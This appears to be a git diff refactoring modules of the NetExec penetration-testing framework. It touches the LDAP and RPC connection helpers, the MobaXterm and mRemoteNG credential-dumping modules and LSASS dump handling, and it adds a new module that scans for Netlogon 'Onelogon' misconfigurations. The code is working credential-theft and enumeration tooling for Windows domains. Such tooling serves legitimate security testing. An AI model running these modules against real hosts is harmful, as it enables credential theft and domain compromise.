ldap_connection = ldap3.Connection(
|
||||
ldap_server,
|
||||
user=f"{connection.domain}\\{connection.username}",
|
||||
password=connection.password,
|
||||
authentication=ldap3.NTLM,
|
||||
raise_exceptions=True,
|
||||
)
|
||||
ldap_connection.bind()
|
||||
context.log.success("Connected to LDAP over SSL (LDAPS).")
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
|
||||
if connection.kerberos:
|
||||
ldap_connection.kerberosLogin(
|
||||
connection.username,
|
||||
connection.password or "",
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey or "",
|
||||
kdcHost=connection.kdcHost,
|
||||
useCache=bool(connection.use_kcache),
|
||||
)
|
||||
else:
|
||||
ldap_connection.login(
|
||||
user=connection.username,
|
||||
password=connection.password or "",
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
)
|
||||
self.context.log.success("Connected to LDAP.")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"LDAP connection failed: {e}")
|
||||
return None
|
||||
return ldap_connection
|
||||
|
||||
try:
|
||||
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
|
||||
except Exception as e:
|
||||
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
|
||||
|
||||
if not base_dn:
|
||||
domain_parts = connection.domain.split(".")
|
||||
base_dn = ",".join([f"dc={part}" for part in domain_parts])
|
||||
context.log.info(f"Derived base DN: {base_dn}")
|
||||
|
||||
ldap_connection.base_dn = base_dn
|
||||
return ldap_connection
|
||||
|
||||
except Exception as ldaps_error:
|
||||
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
|
||||
context.log.info("Falling back to plain LDAP...")
|
||||
|
||||
try:
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
|
||||
ldap_connection = ldap3.Connection(
|
||||
ldap_server,
|
||||
user=f"{connection.domain}\\{connection.username}",
|
||||
password=connection.password,
|
||||
authentication=ldap3.NTLM,
|
||||
raise_exceptions=True,
|
||||
)
|
||||
ldap_connection.bind()
|
||||
context.log.info("Connected to LDAP successfully (plaintext).")
|
||||
|
||||
try:
|
||||
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
|
||||
except Exception as e:
|
||||
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
|
||||
|
||||
if not base_dn:
|
||||
domain_parts = connection.domain.split(".")
|
||||
base_dn = ",".join([f"dc={part}" for part in domain_parts])
|
||||
context.log.info(f"Derived base DN: {base_dn}")
|
||||
|
||||
ldap_connection.base_dn = base_dn
|
||||
return ldap_connection
|
||||
|
||||
except Exception as ldap_error:
|
||||
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
|
||||
|
||||
return None
|
||||
|
||||
def resolve_sid(self, context, sid, ldap_connection):
|
||||
def resolve_sid(self, sid, ldap_connection, base_dn):
|
||||
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
|
||||
if sid in self.WELL_KNOWN_SIDS:
|
||||
return self.WELL_KNOWN_SIDS[sid]
|
||||
|
||||
if ldap_connection and ldap_connection.bound:
|
||||
if ldap_connection:
|
||||
try:
|
||||
base_dn = getattr(ldap_connection, "base_dn", None)
|
||||
if not base_dn:
|
||||
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
|
||||
return sid
|
||||
|
||||
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
|
||||
ldap_connection.search(
|
||||
search_base=base_dn,
|
||||
search_filter=search_filter,
|
||||
resp = ldap_connection.search(
|
||||
searchBase=base_dn,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
|
||||
if ldap_connection.entries:
|
||||
entry = ldap_connection.entries[0]
|
||||
return f"{entry['sAMAccountName']}"
|
||||
parsed_result = parse_result_attributes(resp)
|
||||
if parsed_result and "sAMAccountName" in parsed_result[0]:
|
||||
return f"{parsed_result[0]['sAMAccountName']}"
|
||||
else:
|
||||
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
|
||||
except ldap_impacket.LDAPSearchError:
|
||||
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
except ldap_impacket.LDAPFilterSyntaxError:
|
||||
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
|
||||
except Exception as e:
|
||||
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
|
||||
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
|
||||
else:
|
||||
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
|
||||
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
|
||||
|
||||
return sid
|
||||
@@ -126,20 +126,17 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
|
||||
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
|
||||
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
|
||||
bytes_in = bytearray(h_in.read())
|
||||
|
||||
bytes_in = bytearray(h_in.read())
|
||||
bytes_in_len = len(bytes_in)
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
|
||||
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
|
||||
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
h_out.write(bytes(chunk))
|
||||
|
||||
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
|
||||
try:
|
||||
|
||||
@@ -101,7 +101,7 @@ class NXCModule:
|
||||
context.log.fail("Invalid token ID submitted")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error runing command: {e}")
|
||||
context.log.fail(f"Error running command: {e}")
|
||||
finally:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
|
||||
|
||||
@@ -4,10 +4,10 @@
|
||||
# updated by @NeffIsBack
|
||||
|
||||
from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -22,12 +22,13 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
|
||||
portmap.connect()
|
||||
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
|
||||
None,
|
||||
IID_IObjectExporter,
|
||||
target_ip=connection.host,
|
||||
auth_level=RPC_C_AUTHN_LEVEL_NONE,
|
||||
anonymous_rpc=True,
|
||||
)
|
||||
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
|
||||
@@ -40,7 +40,7 @@ class NXCModule:
|
||||
output_lines = []
|
||||
for row in result:
|
||||
output_value = row.get("output")
|
||||
if output_value and output_value != "NULL":
|
||||
if output_value:
|
||||
output_lines.append(str(output_value))
|
||||
|
||||
if output_lines:
|
||||
|
||||
@@ -1,62 +1,34 @@
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
def mobaxterm_callback(credential):
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
|
||||
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
|
||||
|
||||
try:
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
context.log.success("Looting MobaXterm secrets")
|
||||
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
|
||||
triage.triage_mobaxterm()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
@@ -1,8 +1,8 @@
|
||||
import contextlib
|
||||
import sys
|
||||
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import samr
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
@@ -49,7 +49,7 @@ class NXCModule:
|
||||
self.remove = module_options.get("REMOVE", "False").lower() == "true"
|
||||
|
||||
if not (self.target_user and self.group):
|
||||
self.context.log.fail("USER and GROUP parameters are required!")
|
||||
context.log.fail("USER and GROUP parameters are required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
@@ -61,36 +61,9 @@ class NXCModule:
|
||||
elif context.protocol == "ldap" and self.group:
|
||||
self._modify_group_ldap()
|
||||
|
||||
def _authenticate_dce(self, protocol="ncacn_np", interface=samr.MSRPC_UUID_SAMR):
|
||||
"""Authenticate to the target using DCE/RPC"""
|
||||
try:
|
||||
# Map to the endpoint on the target
|
||||
string_binding = epm.hept_map(self.connection.host, interface, protocol=protocol)
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.setRemoteHost(self.connection.host)
|
||||
rpctransport.set_credentials(
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
aesKey=self.connection.aesKey,
|
||||
)
|
||||
self.context.log.info(f"Connecting as {self.connection.domain}\\{self.connection.username}")
|
||||
|
||||
# Connect to the DCE/RPC endpoint and bind to the service
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
self.context.log.info("Successfully connected to DCE/RPC")
|
||||
dce.bind(interface)
|
||||
self.context.log.info(f"Successfully bound to {interface}")
|
||||
return dce
|
||||
except DCERPCException as e:
|
||||
self.context.log.fail(f"DCE/RPC Exception: {e!s}")
|
||||
|
||||
def _modify_group_smb(self):
|
||||
"""Modify group membership using SMB/SAMR protocol"""
|
||||
dce = self._authenticate_dce()
|
||||
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
if not dce:
|
||||
return
|
||||
|
||||
|
||||
+12
-52
@@ -1,12 +1,10 @@
|
||||
import ntpath
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -25,7 +23,7 @@ class NXCModule:
|
||||
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -42,6 +40,7 @@ class NXCModule:
|
||||
self.mRemoteNg_path = [
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
|
||||
]
|
||||
|
||||
self.custom_user_path = [
|
||||
@@ -68,70 +67,31 @@ class NXCModule:
|
||||
self.custom_path = module_options["CUSTOM_PATH"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# 1. Evole conn into dploot conn
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = connection.args.share
|
||||
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
|
||||
self.dploot_conn = connection.dpapi_triage.conn
|
||||
|
||||
host = f"{connection.hostname}.{connection.domain}"
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
users = self.dploot_conn.list_users()
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if dploot_conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
|
||||
# 3. Search for mRemoteNG files
|
||||
# Search for mRemoteNG files
|
||||
for user in users:
|
||||
for path in self.mRemoteNg_path:
|
||||
user_path = ntpath.join(path.format(username=user), "confCons.xml")
|
||||
content = dploot_conn.readFile(self.share, user_path)
|
||||
content = self.dploot_conn.read_file(share=self.share, path=user_path)
|
||||
if content is None:
|
||||
continue
|
||||
self.context.log.info(f"Found confCons.xml file: {user_path}")
|
||||
self.handle_confCons_file(content)
|
||||
for path in self.custom_user_path:
|
||||
user_path = path.format(username=user)
|
||||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
if self.custom_path is not None:
|
||||
content = dploot_conn.readFile(self.share, self.custom_path)
|
||||
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
@@ -152,7 +112,7 @@ class NXCModule:
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
nodes = []
|
||||
@@ -166,7 +126,7 @@ class NXCModule:
|
||||
return nodes
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
directory_list = conn.list_dir(share=self.share, path=directory_path)
|
||||
if directory_list is not None:
|
||||
for item in directory_list:
|
||||
if item.get_longname() not in self.false_positive:
|
||||
@@ -178,7 +138,7 @@ class NXCModule:
|
||||
# It's a file, download it to the output share if the mask is ok
|
||||
if "confCons.xml" in item.get_longname():
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
content = conn.read_file(share=self.share, path=new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
|
||||
@@ -446,7 +446,7 @@ class NXCModule:
|
||||
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
|
||||
is_admin = res[0][""]
|
||||
try:
|
||||
if is_admin != "NULL" and int(is_admin):
|
||||
if is_admin is not None and int(is_admin):
|
||||
self.admin_privs = True
|
||||
self.context.log.debug(f"Updated: {username} is admin!")
|
||||
return True
|
||||
|
||||
@@ -519,10 +519,10 @@ class NXCModule:
|
||||
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
|
||||
|
||||
if "$FILE_NAME" in parsed_header:
|
||||
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
|
||||
filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
|
||||
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
|
||||
|
||||
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
|
||||
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
|
||||
|
||||
if "$DATA" in parsed_header:
|
||||
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
|
||||
|
||||
@@ -10,7 +10,7 @@ class NXCModule:
|
||||
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
|
||||
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
|
||||
name = "ntlm_reflection"
|
||||
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
|
||||
description = "[REMOVED] This module has been integrated into the enum_cve module."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.smbconnection import SessionError
|
||||
from configparser import ConfigParser
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack
|
||||
Based on the paper "Onelogon: Taking over Active Directory Accounts via Netlogon": https://softsec.rub.de/files/pdf/woot2026-onelogon.pdf
|
||||
"""
|
||||
|
||||
name = "onelogon"
|
||||
description = "Scan GPOs and registry for machine accounts vulnerable to Onelogon"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
def output_callback(data):
|
||||
self.gpo_data += data
|
||||
|
||||
found_dacls = []
|
||||
|
||||
policies = connection.conn.listPath("SYSVOL", f"{connection.targetDomain}/Policies/*")
|
||||
for policy in policies:
|
||||
# Skip "." and ".." directory pointers to avoid path errors
|
||||
if policy.get_longname() in [".", ".."]:
|
||||
continue
|
||||
|
||||
try:
|
||||
self.gpo_data = b""
|
||||
connection.conn.getFile("SYSVOL", f"{connection.targetDomain}/Policies/{policy.get_longname()}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf", output_callback)
|
||||
|
||||
try:
|
||||
decoded_data = self.gpo_data.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
context.log.debug(f"Failed to decode GPO data for policy {policy.get_shortname()} as UTF-8, trying UTF-16...")
|
||||
decoded_data = self.gpo_data.decode("utf-16")
|
||||
|
||||
# Use strict=False and interpolation=None to safely handle Windows INI quirks and % variables.
|
||||
# Some sections (e.g. [Service General Setting]) use value-less CSV-style rows like:
|
||||
# "WinRM",2,""
|
||||
# which require allow_no_value=True to avoid ParsingError.
|
||||
config_parser = ConfigParser(strict=False, interpolation=None, allow_no_value=True)
|
||||
config_parser.read_string(decoded_data)
|
||||
|
||||
for section in config_parser.sections():
|
||||
for key, value in config_parser.items(section):
|
||||
if key == "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\VulnerableChannelAllowList".lower():
|
||||
context.log.debug(f"Found vulnerable channel allow list: {value}")
|
||||
try:
|
||||
# Strip the surrounding double quotes from the extracted string
|
||||
found_dacls.append({"name": policy.get_shortname(), "data": value[2:].strip('"')})
|
||||
except Exception as e:
|
||||
context.log.error(f"Could not parse Registry Policy (error: {e}): {section} {key} {value}")
|
||||
except SessionError as e:
|
||||
# Catch and safely ignore expected "file not found" errors for policies without security settings
|
||||
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
|
||||
pass
|
||||
else:
|
||||
context.log.debug(f"SMB Session Error reading policy {policy.get_shortname()}: {e}")
|
||||
except Exception as e:
|
||||
context.log.error(f"Error parsing policy {policy.get_shortname()}, {e.__class__.__name__}: {e}")
|
||||
|
||||
if found_dacls:
|
||||
context.log.success(f"Found {len(found_dacls)} matching policies in SYSVOL Share.")
|
||||
for dacl in found_dacls:
|
||||
context.log.success(f"Found vulnerable channel allow list in policy '{dacl['name']}': '{dacl['data']}'")
|
||||
else:
|
||||
context.log.error("No matching policies found in SYSVOL Share.")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
regHandle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
|
||||
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters")["phkResult"]
|
||||
value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "VulnerableChannelAllowList")[1].rstrip("\x00")
|
||||
context.log.success(f"Found VulnerableChannelAllowList registry configuration: {value}")
|
||||
except Exception as e:
|
||||
context.log.error(f"Error while querying registry: {e}")
|
||||
+12
-31
@@ -1,10 +1,11 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5 import samr, tsch, transport
|
||||
from impacket.dcerpc.v5 import samr, tsch
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from contextlib import suppress
|
||||
import traceback
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -39,36 +40,19 @@ class NXCModule:
|
||||
context.log.fail(str(e))
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
||||
def get_dce_rpc(self, target, string_binding, dce_binding, connection):
|
||||
# Create a DCE/RPC transport object with the specified string binding
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.setRemoteHost(target)
|
||||
rpctransport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
def get_dce_rpc(self, named_pipe, dce_binding, connection, target_ip=None, auth_level=None):
|
||||
return NXCRPCConnection(connection).connect(
|
||||
named_pipe,
|
||||
dce_binding,
|
||||
target_ip=target_ip,
|
||||
auth_level=auth_level or RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
)
|
||||
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
|
||||
|
||||
# Connect to the DCE/RPC endpoint
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(dce_binding)
|
||||
return dce
|
||||
|
||||
def enumerate_admin_users(self, context, connection):
|
||||
admin_users = []
|
||||
|
||||
try:
|
||||
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
|
||||
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
|
||||
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to connect to SAMR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
@@ -174,9 +158,7 @@ class NXCModule:
|
||||
def check_scheduled_tasks(self, context, connection, admin_users):
|
||||
"""Checks scheduled tasks over rpc."""
|
||||
try:
|
||||
target = connection.remoteName if connection.kerberos else connection.host
|
||||
stringbinding = f"ncacn_np:{target}[\\pipe\\atsvc]"
|
||||
dce = self.get_dce_rpc(target, stringbinding, tsch.MSRPC_UUID_TSCHS, connection)
|
||||
dce = self.get_dce_rpc(r"\atsvc", tsch.MSRPC_UUID_TSCHS, connection)
|
||||
|
||||
# Also extract non admins where we can get the password
|
||||
self.non_admins = []
|
||||
@@ -200,8 +182,7 @@ class NXCModule:
|
||||
non_admin_sids.add(sid.group(1))
|
||||
|
||||
if non_admin_sids:
|
||||
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
|
||||
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
|
||||
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
|
||||
|
||||
# Get Domain Handle
|
||||
server_handle = samr.hSamrConnect2(dce)["ServerHandle"]
|
||||
|
||||
@@ -1,17 +1,13 @@
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, rpc_status_codes
|
||||
from impacket.structure import Structure
|
||||
